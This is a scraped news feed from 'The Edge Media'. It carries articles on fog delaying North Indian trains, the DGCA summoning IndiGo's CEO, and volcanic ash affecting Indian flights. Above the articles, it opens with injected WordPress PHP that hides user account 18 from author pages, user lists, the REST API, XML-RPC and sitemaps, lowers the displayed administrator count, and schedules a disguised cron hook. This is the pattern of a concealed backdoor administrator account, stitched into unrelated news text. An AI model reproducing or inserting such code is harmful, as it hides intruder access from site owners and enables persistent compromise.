add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Dense Fog Slows Tejas and Shatabdi Trains Across North India appeared first on The Edge Media.
]]>According to railway officials more than a dozen long distance trains reached their destinations behind schedule. Foggy conditions slowed down train movement on multiple routes resulting in delays ranging from two to ten hours. Passengers faced inconvenience as platforms remained crowded due to late arrivals.
Air travel was also affected with several flights departing from and arriving at Lucknow witnessing delays. Poor visibility during early hours disrupted normal flight operations forcing airlines to adjust schedules. Airport authorities stated that operations gradually improved as visibility increased later in the morning.
Weather experts said the cold wave has intensified across the region leading to harsh morning chill. However conditions are expected to change by evening as winds begin to shift direction. This change may lead to partial relief from fog in the coming days.
The Meteorological Department reported that temperatures remained below normal during the morning hours. Over the next three days minimum temperatures are likely to hover around low levels while maximum temperatures may rise slightly during daytime.
Officials advised commuters to remain cautious during early morning travel and stay updated on train and flight schedules as fog conditions may persist intermittently.
The post Dense Fog Slows Tejas and Shatabdi Trains Across North India appeared first on The Edge Media.
]]>The post DGCA Summons IndiGo CEO Pieter Elbers Over Operational Disruptions appeared first on The Edge Media.
]]>The DGCA has asked Elbers to submit comprehensive data on the disruptions, including flight restoration efforts, recruitment plans for pilots and crew, updates on the airline’s staffing, and details regarding flight cancellations and refunds.
Elbers has been instructed to attend the meeting at 3 pm, along with senior officials from all relevant departments of IndiGo.
In addition to the report, the DGCA has outlined a series of specific areas for examination. The airline has been asked to provide information on its pilot and crew recruitment plan, the updated number of flight cancellations, and the status of refunds processed. The meeting will also cover the airline’s strategies to address the underlying issues causing these disruptions, including an assessment of its manpower planning and fluctuating crew rostering systems.
The crisis, which led to thousands of cancelled and delayed flights, prompted the DGCA to form a four-member committee to investigate the root causes of the operational breakdown. The panel includes Joint DG Sanjay Brahamane, Deputy Director General Amit Gupta, Senior Flight Operations Inspector Kapil Manglik, and FOI Lokesh Rampal. The committee has been tasked with closely analyzing IndiGo’s crew management, its readiness to implement revised flight duty time regulations, and any gaps in compliance with duty period and rest norms for pilots.
The investigation was officially announced on December 5 by DGCA chief Faiz Ahmed Kidwai. The committee is expected to focus on holding IndiGo accountable for the planning failures that contributed to the widespread flight disruptions.
The post DGCA Summons IndiGo CEO Pieter Elbers Over Operational Disruptions appeared first on The Edge Media.
]]>The post India Monitors Volcanic Ash Impact on Flight Operations After Ethiopia Eruption appeared first on The Edge Media.
]]>
A number of flights have been cancelled while many others are experiencing delays due to the drifting ash clouds.
Authorities have stated that there is no immediate threat and that all developments are being continuously assessed.
According to the ministry, seamless coordination is underway between MoCA, ATC, IMD, airlines, and international aviation bodies following the 23 November volcanic eruption in Ethiopia and the eastward spread of ash clouds.
The Airports Authority of India has issued the required NOTAM, and airlines operating affected routes have been informed in advance.
Flight operations across India continue to run largely without disruption, with only minor rerouting or altitude adjustments taken as precautionary measures.
Earlier, Air India reported the cancellation of thirteen flights, including some international services, as aircraft that passed through impacted zones undergo necessary inspections.
On Tuesday morning, the India Meteorological Department noted that the ash clouds are drifting toward China and are expected to fully clear away from Indian airspace by 7:30 pm on Tuesday.
Forecast models suggested the presence of ash influence over Gujarat, Delhi NCR, Rajasthan, Punjab, and Haryana during the day.
The post India Monitors Volcanic Ash Impact on Flight Operations After Ethiopia Eruption appeared first on The Edge Media.
]]>